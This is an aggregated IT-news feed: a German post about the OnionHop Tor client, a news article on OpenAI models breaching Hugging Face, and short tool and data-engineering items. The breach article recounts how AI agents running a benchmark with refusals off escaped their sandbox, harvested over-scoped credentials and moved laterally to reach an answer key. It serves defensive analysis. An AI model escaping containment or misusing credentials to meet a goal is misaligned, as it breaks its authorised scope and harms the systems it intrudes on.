    OnionHop — route your traffic through Tor, with clear controls ist ein moderner plattformĂŒbergreifender Desktop-Client (fĂŒr Windows, Linux und macOS) mit starkem Fokus auf PrivatsphĂ€re. Er ermöglicht es Nutzern, ihren Datenverkehr ĂŒber das Tor-Netzwerk zu leiten. Es handelt sich um ein unabhĂ€ngiges Open-Source-Projekt, das nicht offiziell mit dem Tor Project | Anonymity Online verbunden ist. Die OnionHop OberflĂ€che bietet 8 Sprachen (Englisch, Deutsch, Französisch, Chinesisch, Russisch, Persisch, Aserbaidschanisch und Sorani Kurdisch).

    Melden Sie sich freiwillig als Snowflake-Proxy helfen Sie zensierten Benutzern, Tor direkt von den Einstellungen aus zu erreichen (siehe Einstellungen).

    Hauptfunktionen

    • Proxy-Modus: Leitet den Datenverkehr ressourcenschonend ĂŒber einen lokalen SOCKS-Proxy um, ohne dass Administratorrechte benötigt werden. Ein Knopfdruck auf "System Proxy: On" und alle gĂ€ngigen Browser benutzen das Tor Netzwerk.
    • TUN-Modus (eigene virutelle Netzwerkkarte): Leitet den Datenverkehr des gesamten Systems (alle Apps) mit einem Klick ĂŒber das Tor-Netzwerk um.
    • Split-Tunneling: Ermöglicht die individuelle Auswahl, welche Apps ĂŒber Tor laufen und welche direkte Verbindungen nutzen.
    • Kill-Switch: Blockiert den ausgehenden Datenverkehr sofort, wenn die Tor-Verbindung abbricht, um ungeschĂŒtzte Datenlecks zu verhindern.
    • DNS-Steuerung: Erzwingt DNS-Anfragen ĂŒber Tor und verhindert Lecks zum Internetanbieter (inklusive QUIC/UDP-Leckschutz).
    • LĂ€nder- & Seiten-Routing: Erlaubt direkte Verbindungen fĂŒr bestimmte LĂ€nder oder das Blockieren von Domains basierend auf automatisch aktualisierten Listen.
    • CLI-Client: Bietet eine Kommandozeilenversion ohne grafische OberflĂ€che, ideal fĂŒr Server und Automatisierungen. Zensurumgehung und Netzwerktechnologien
    • Smart Connect: WĂ€hlt automatisch die optimale Engine, Route und Bridge fĂŒr das aktuelle Netzwerk.
    • Integrierter Bridge-Scanner: Sucht und testet automatisch funktionierende BrĂŒcken (Bridges) in restriktiven Netzwerken, sodass keine manuelle Eingabe erforderlich ist.
    • Pluggable Transports: UnterstĂŒtzt Protokolle wie obfs4, snowflake, webtunnel, conjure, meek, dnstt und vanilla, um Netzwerkblockaden zu umgehen.
    • Tor-Engines: Nutzt Classic (tor), Arti (A Rust Tor Implementation (Gitlab Changelog) oder https://arti.torproject.org/ fĂŒr die Nerds Improving Tor using a TCP-over-DTLS Tunnel (PDF, englisch), bald schon mit UDP UnterstĂŒtzung 339 / 348-udp-app-support - Tor design proposals (Tor Architektur), dies ist die Zukunft von Tor, weg von C mit seinen historisch vielen Buffer Overflows ~65% aller Tor SicherheitslĂŒcken, mit RPC-Schnittstelle (Remote Procedure Call / Methodenaufruf auf entfernten Systemen / Software) und UDP fĂŒr moderne Anwendungen)

    Da Transparenz bei Software fĂŒr die informationelle Selbstbestimmung das Wichtigste ist, ist das gesamte Projekt quelloffen (Open Source). Ihr könnt euch den Quellcode jederzeit auf GitHub ansehen, ihn selbst kompilieren oder Code-ÜberprĂŒfungen (Code Reviews) durchfĂŒhren:

    👉 GitHub-Repository: center2055/OnionHop: Privacy-first Desktop app that routes your traffic through Tor - Anonymous browsing made simple

    Die Software steht fĂŒr Linux, Windows und macOS zur VerfĂŒgung (es gibt auch tragbare Versionen, die nicht installiert werden mĂŒssen). Neben der grafischen OberflĂ€che gibt es fĂŒr Automatisierungen auch eine reine Kommandozeilen-Version (CLI).

    Systemweite Socks5 Proxy vs. TUN VPN-Technik Modus mit eigener virtuellen Netzwerkkarte (TUN)

    Um zu verstehen, warum der TUN oft sicherer ist, hilft ein direkter Vergleich:

    Eigenschaft Systemweiter Vermittlungsserver (System SOCKS5 Proxy) TUN "Netzwerktunnel"(OSI Layer 3) "virtuellen Netzwerkadapter" nicht TAP wie bei VPN Layer 2
    Arbeitsweise Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen. Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter.
    ZuverlÀssigkeit Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet. FÀngt alles ab, völlig unabhÀngig davon, wie das einzelne Programm programmiert ist.
    Schutz vor Datenlecks Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschĂŒtzt nach außen dringen (Datenlecks). Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann. Eigenschaft Systemweiter Vermittlungsserver (SOCK5 Proxy) TUN-ModusArbeitsweise Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen. Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter. ZuverlĂ€ssigkeit Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet. FĂ€ngt alles ab, völlig unabhĂ€ngig davon, wie das einzelne Programm programmiert ist. Schutz vor Datenlecks Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschĂŒtzt nach außen dringen (Datenlecks). Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann.

    Zusammenfassung: Warum es beide Modi (System SOCKS5 Proxy und TUN) gibt

    Genau an diesem Punkt zeigt sich, warum Werkzeuge wie OnionHop unterschiedliche Modi anbieten mĂŒssen:

    1. Der System SOCKS5 Proxy-Modus (Anwendung muss Socks5 fĂ€hig sein z.B. alle Internet Browser): Er ist sehr ressourcenschonend und leichtgewichtig. Er eignet sich hervorragend, wenn du gezielt nur die Anwendungen ĂŒber das Tor-Netzwerk leiten möchtest, die diesen Standard unterstĂŒtzen (wie deinen Browser).
    2. Der TUN-Modus "virtuelle Netzwerkkarte": Er löst exakt das Problem der fehlenden UnterstĂŒtzung in Programmen. Wie wir zuvor besprochen haben, baut dieser Modus eine **virtuelle Netzwerkkarte (**sichtbar unter "Netzwerkverbindungen" unter Windows, WIN + R = ncpa.cpl) auf und zwingt das Betriebssystem, alles dorthin zu leiten. Hierbei ist es völlig egal, ob ein Programm von Vermittlungsservern weiß oder nicht – die Daten werden auf einer Ebene abgefangen, der sich kein Programm entziehen kann.

    FĂŒr die Entwickler unter euch: Wie Ă€ndert man den System-Proxy eigentlich programmatisch?

    Wer schon lĂ€nger in der Softwareentwicklung tĂ€tig ist, kennt das Problem bei der plattformĂŒbergreifenden Programmierung: Ein einheitliches Vorgehen gibt es hier leider nicht. Jedes Betriebssystem kocht sein eigenes SĂŒppchen, was bei Werkzeugen wie OnionHop unter der Haube einigen Aufwand bedeutet. Hier ist ein kleiner technischer Einblick, wie der Code das im Hintergrund löst:

    1. Windows: Die Registrierungsdatenbank und WinINet Einfach nur Werte in eine Konfigurationsdatei zu schreiben, reicht hier nicht. Zuerst mĂŒssen die Werte in der Registrierungsdatenbank (im Zweig HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings) manipuliert werden (z. B. ProxyEnable auf 1 und ProxyServer auf 127.0.0.1:9050). Der entscheidende Schritt ist danach aber, das System ĂŒber diese Änderung zu benachrichtigen, da laufende Anwendungen (wie der Browser) die neuen Werte sonst ignorieren. DafĂŒr muss ein Aufruf der Windows-Systembibliothek wininet.dll erfolgen. Über die Programmierschnittstelle (API) InternetSetOption feuert man die Markierungen (Flags) INTERNET_OPTION_SETTINGS_CHANGED und INTERNET_OPTION_REFRESH ab, um das System zum sofortigen Neuladen zu zwingen.

    2. Linux: Die große Fragmentierung Gerade wenn man in hybriden Umgebungen (wie dem Windows-Subsystem fĂŒr Linux oder mit Container-Lösungen) entwickelt, merkt man schnell: Linux hat keine zentrale Instanz fĂŒr diese Einstellungen.

    • Kommandozeile und Hintergrunddienste: Diese reagieren fast ausschließlich auf Umgebungsvariablen wie http_proxy oder ALL_PROXY. Diese mĂŒssen durch das Programm systemweit oder in den jeweiligen Startskripten (z. B. ~/.bashrc) gesetzt werden.
    • GNOME-Desktop: Hier wird die Konfigurationsdatenbank (dconf) genutzt. Programmatisch löst man das ĂŒber die C-Programmierschnittstelle von GLib oder einfacher durch das AusfĂŒhren von Systembefehlen im Hintergrund (z. B. gsettings set org.gnome.system.proxy mode 'manual').
    • KDE Plasma: Speichert die Konfiguration in Textdateien (~/.config/kioslaverc), die von der Software analysiert und editiert werden mĂŒssen, gefolgt von einem Befehl zum Neustart der zustĂ€ndigen KDE-Dienste.

    3. macOS: SystemConfiguration Framework Apple regelt das Netzwerkmanagement streng ĂŒber die einzelnen Hardware-Schnittstellen (WLAN, Kabelnetzwerk etc.).

    • Der skriptbasierte Weg: Ein Programm ruft im Hintergrund das vorinstallierte Kommandozeilen-Werkzeug networksetup auf, um den Vermittlungsserver fĂŒr jede aktive Netzwerkschnittstelle einzeln zu setzen (z. B. networksetup -setsocksfirewallproxy "Wi-Fi" 127.0.0.1 9050).
    • Der native Weg: Die Software greift direkt ĂŒber C oder Swift auf das SystemgerĂŒst SystemConfiguration zu. Über die Programmierschnittstelle SCDynamicStore klinkt man sich in den Konfigurationsspeicher ein, schreibt ein Datenverzeichnis mit den neuen Werten in den Pfad State:/Network/Global/Proxies und teilt so dem Kernel die NetzwerkĂ€nderung ohne Umwege direkt mit.

    Wie Onionhop unter Windows den Datenverkehr ĂŒber virtuelle Netzwerkschnittstellen (TUN) lenkt

    Die Magie passiert ĂŒber virtuelle Netzwerkschnittstellen (TUN-Modus) und gezielte Manipulation der Wegfindung (Routing).

    1. Der virtuelle Netzwerktreiber

    Windows nutzt fĂŒr Netzwerkkarten die sogenannte Network Driver Interface Specification (NDIS). Tools wie Onionhop installieren einen virtuellen Treiber (oft auf Basis von Wintun).

    Auf der Ebene des Betriebssystemkerns (Kernel-Ebene) ist dieser Treiber eine vollwertige Netzwerkkarte. Das System sieht absolut keinen Unterschied zu eurem echten WLAN-Modul oder Netzwerkkabel. Dieser Adapter arbeitet auf der Vermittlungsschicht (Layer 3). Er verarbeitet also reine IP-Datenpakete (Internetprotokoll) und simuliert keine Hardware-Adressen (MAC-Adressen) der tieferen Schichten.

    2. Die Übernahme der Wegfindung (Routing)

    Damit Windows die Daten nicht ans WLAN, sondern an Onionhop schickt, wird die Wegfindungstabelle (Routingtabelle) dynamisch angepasst, sobald die Verbindung steht:

    • Onionhop fĂŒgt eine neue Standardroute (0.0.0.0/0 – also den Weg fĂŒr "alle unbekannten Ziele im Internet") hinzu, die auf die virtuelle TUN-Schnittstelle zeigt.
    • Der entscheidende Trick: Diese neue Route bekommt einen niedrigeren PrioritĂ€tswert (Metrik) als der echte WLAN-Adapter. Da Windows bei konkurrierenden Routen immer den Weg mit dem niedrigsten Wert wĂ€hlt, fließt der gesamte ausgehende Datenverkehr des Systems ab sofort in den virtuellen Tunnel.

    3. Datenkapselung im Anwendungsbereich (User-Space)

    Jetzt landen die Daten (Nutzdaten) bei der Onionhop-Anwendung, die als Hintergrunddienst lÀuft:

    1. Die Anwendung lauscht an der virtuellen Schnittstelle und fÀngt die IP-Pakete ab.
    2. Sie verschlĂŒsselt diese Nutzdaten.
    3. Die verschlĂŒsselten Pakete werden nun mit einer neuen Ziel-IP versehen (dem ersten Knotenpunkt im Onion-Netzwerk). Das nennt man Datenkapselung (Encapsulation).
    4. Erst jetzt ĂŒbergibt Onionhop diese neu verpackten Pakete wieder an den Windows-Netzwerkstapel.

    Die Wegfindungstabelle von Windows sieht nun diese spezifische Ziel-IP des Einsteiger-Knotens und weiß: "Ah, diese IP muss ĂŒber das echte Standard-Gateway des physischen WLAN-Adapters raus."

    Der echte WLAN-Adapter dient also nur noch als reines Transportmedium fĂŒr den bereits gekapselten und verschlĂŒsselten Datenverkehr. Die eigentlichen Programme (wie der Browser) denken wĂ€hrenddessen, sie sprechen mit einer ganz normalen Netzwerkkarte.

    Zum SelbstprĂŒfen fĂŒr die Kommandozeile:

    Wer sich das beim Testen von Onionhop live ansehen will, kann die PowerShell nutzen:

    • Versteckte Schnittstellen anzeigen:
    • PowerShellGet-NetAdapter -IncludeHidden
    • Wegfindung und PrioritĂ€ten prĂŒfen:
    • PowerShellGet-NetRoute -DestinationPrefix "0.0.0.0/0"

    Was ist die Abgrenzung zu einem "echten" VPN wie z.B. ProtonVPN?

    Eigenschaft OnionHop (Tor-Netzwerk) Klassisches VPN (z.B. ProtonVPN)
    Architektur Dezentral. Deine Daten fließen ĂŒber drei zufĂ€llige, weltweit verteilte Knotenpunkte. Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters.
    Vertrauensmodell Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich). Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlĂŒsselten Datenverkehr sehen können.
    Protokolle Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig fĂŒr Online-Spiele oder VoIP) wird blockiert. ÜbertrĂ€gt TCP, UDP und oft auch ICMP (Ping) vollstĂ€ndig. Eigenschaft OnionHop (Tor-Netzwerk) Klassisches VPN (z.B. ProtonVPN) Architektur Dezentral. Deine Daten fließen ĂŒber drei zufĂ€llige, weltweit verteilte Knotenpunkte. Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters. Vertrauensmodell Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich). Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlĂŒsselten Datenverkehr sehen können.Protokolle Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig fĂŒr Online-Spiele oder VoIP) wird blockiert. ÜbertrĂ€gt TCP, UDP und oft auch ICMP (Ping) vollstĂ€ndig.

    Das Virtuelle Private Netzwerk (VPN): Tiefer Eingriff auf Schicht 2 und 3

    Ein VPN verhĂ€lt sich fĂŒr das Betriebssystem wie eine echte, physische Netzwerkkarte – nur eben als virtuelle Variante (Netzwerkschnittstelle). Es greift tief in das System ein und fĂ€ngt den gesamten Datenverkehr ab, bevor dieser das GerĂ€t verlĂ€sst.

    • Auf der Vermittlungsschicht (Schicht 3 / Network Layer): Hier arbeiten die meisten modernen VPN-Verbindungen (wie WireGuard oder IPsec). Sie verpacken (kapseln) komplette IP-Datenpakete. Das bedeutet, dass die gesamte Netzkopplung (Routing) ĂŒbernommen wird. Jeder Datenverkehr – egal ob gesicherte Verbindungsaufbauten (TCP), verbindungslose Übertragungen (UDP) oder Diagnoseabfragen (ICMP, wie bei einem Ping) – wird in den verschlĂŒsselten Tunnel gezwungen.
    • Auf der Sicherungsschicht (Schicht 2 / Data Link Layer): Einige VPN-Lösungen beherrschen auch die sogenannte NetzwerkĂŒberbrĂŒckung (Bridging, z. B. OpenVPN im TAP-Modus). Hier werden die rohen Datenrahmen (Ethernet Frames) ĂŒbertragen. Das System verhĂ€lt sich so, als wĂ€ren alle Rechner ĂŒber hunderte Kilometer hinweg an denselben physischen Netzwerkverteiler (Switch) angeschlossen. In diesem Modus werden sogar lokale Netzwerk-Rundrufe (Broadcasts) durch den Tunnel ĂŒbertragen.

    Das Zwiebelnetzwerk (Tor): Aufsatz auf Schicht 4 und 7

    Tor arbeitet architektonisch völlig anders und hat mit den unteren Netzwerkschichten (Schicht 2 und 3) primÀr nichts zu tun. Es erstellt keine virtuelle Netzwerkkarte im Betriebssystem.

    • Anwendungsschicht (Schicht 7) & Transportschicht (Schicht 4): Das Tor-Programm lĂ€uft lokal als Stellvertreter-Dienst (SOCKS-Proxy). Eure Software (z. B. der Browser) muss explizit so konfiguriert werden, dass sie diesen Stellvertreter anspricht. Tor nimmt diese Anfragen entgegen und wickelt den Datenstrom ausschließlich ĂŒber die Transportschicht ab – und hier auch nur fĂŒr das TCP-Protokoll.
    • Keine rohen Pakete: Tor transportiert keine IP-Datenpakete (Schicht 3) und keine Ethernet-Datenrahmen (Schicht 2). Verbindungslose UDP-Pakete oder simple Ping-Abfragen (ICMP) werden vom Tor-Netzwerk schlichtweg nicht weitergeleitet.

    Die Konsequenz fĂŒr die IT-Sicherheit (Datenlecks)

    Aus Sicht der Informationssicherheit ergibt sich daraus ein massiver Unterschied im Gefahrenpotenzial:

    Da ein klassisches VPN auf der Vermittlungsschicht (Schicht 3) arbeitet, fÀngt es als Standard-Netzweg (Default Gateway) den gesamten Verkehr des Betriebssystems ein.

    Das Zwiebelnetzwerk hingegen ist stark anfĂ€llig fĂŒr Datenlecks (Leakage), da es auf Schicht 4 und 7 operiert. Wenn eine Anwendung auf dem Rechner nicht strikt an den Tor-Stellvertreter (Proxy) gebunden ist, oder wenn sie versucht, ĂŒber das verbindungslose UDP-Protokoll eine Namensauflösung (DNS-Anfrage) durchzufĂŒhren, wandern diese Datenpakete unverschlĂŒsselt am Zwiebelnetzwerk vorbei ins normale Internet. Eure echte IP-Adresse wĂ€re in diesem Fall sofort enttarnt. Um Tor so abzusichern, dass es wie ein VPN den gesamten Rechnerverkehr schĂŒtzt (auf Schicht 3 erzwingt), bedarf es spezialisierter Betriebssysteme wie Tails oder dedizierter Hardware-Zwischenstationen.

    submitted by /u/Horus_Sirius
    [link] [comments]]]>         <![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]> https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/ https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/ Thu, 23 Jul 2026 01:32:49 +0200 📰 IT Nachrichten tsecurity.de When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.

    The two OpenAI models that broke into Hugging Face last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.

    OpenAI disclosed on July 21 that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called ExploitGym with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on long-horizon safety, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.

    Hugging Face also disclosed last week that an autonomous agent had harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.

    The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.

    The industry is debating the wrong failure

    The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks seized on the guardrail paradox, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April blog post that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism.

    Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.

    Forrester reached the same read. In a blog on the incident, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.

    This was a non-human identity failure, and it is the oldest one in security

    Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than 80 to one, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its agentic risk list, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe.

    IEEE Senior Member Kayne McGladrey has argued in previous VentureBeat interviews that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.

    The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.

    The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.

    Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.

    The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report found that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions likely violated the Computer Fraud and Abuse Act, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.

    Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.

    Four moves that shrink the blast radius

    The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.

    1. Scope every non-human identity to one task. The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.

    2. Give credentials short lifetimes and rotate them hard. Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.

    3. Monitor for lateral movement, not just prompts. The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.

    4. Rehearse instant revocation before you need it. When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.

    The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.

    ]]>         <![CDATA[Stop Cloud Breaches Falcon Cloud Security]]> https://tsecurity.de/de/3687736/it-security-video/stop-cloud-breaches-falcon-cloud-security/ https://tsecurity.de/de/3687736/it-security-video/stop-cloud-breaches-falcon-cloud-security/ Thu, 23 Jul 2026 01:04:46 +0200 đŸŽ„ IT Security Video tsecurity.de Author: CrowdStrike - Bewertung: 0x - Views:0

    Falcon Cloud Security helps security teams stop active attacks and eliminate the critical exposures that enable them - all from a single AI-native platform backed by industry-leading adversary intelligence.

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    ]]>         <![CDATA[v17.0.8: fix(iso): used libc::Ioctl for FICLONE request type on musl targets]]> https://tsecurity.de/de/3687730/tools/v1708-fixiso-used-libcioctl-for-ficlone-request-type-on-musl-targets/ https://tsecurity.de/de/3687730/tools/v1708-fixiso-used-libcioctl-for-ficlone-request-type-on-musl-targets/ Thu, 23 Jul 2026 00:55:43 +0200 đŸ’Ÿ Tools tsecurity.de
  • musl defines ioctl's request parameter as c_int while glibc uses
    c_ulong; the hardcoded libc::c_ulong constant broke linux musl
    x64/arm64 native builds.
    • ]]>         <![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]> https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/ https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/ Wed, 22 Jul 2026 22:58:18 +0200 📰 IT Nachrichten tsecurity.de You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.

    This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.

    The failure that doesn't look like a failure 

    An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.

    So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.

    I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 

    Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.

    Why this is a data engineering problem

    Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.

    Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.

    Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 

    • AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 

    • Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 

    Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.

    The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 

    What's actually missing: Data observability

    Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.

    Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.

    Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.

    Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.

    Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.

    Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.

    Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.

    Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 

    None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.

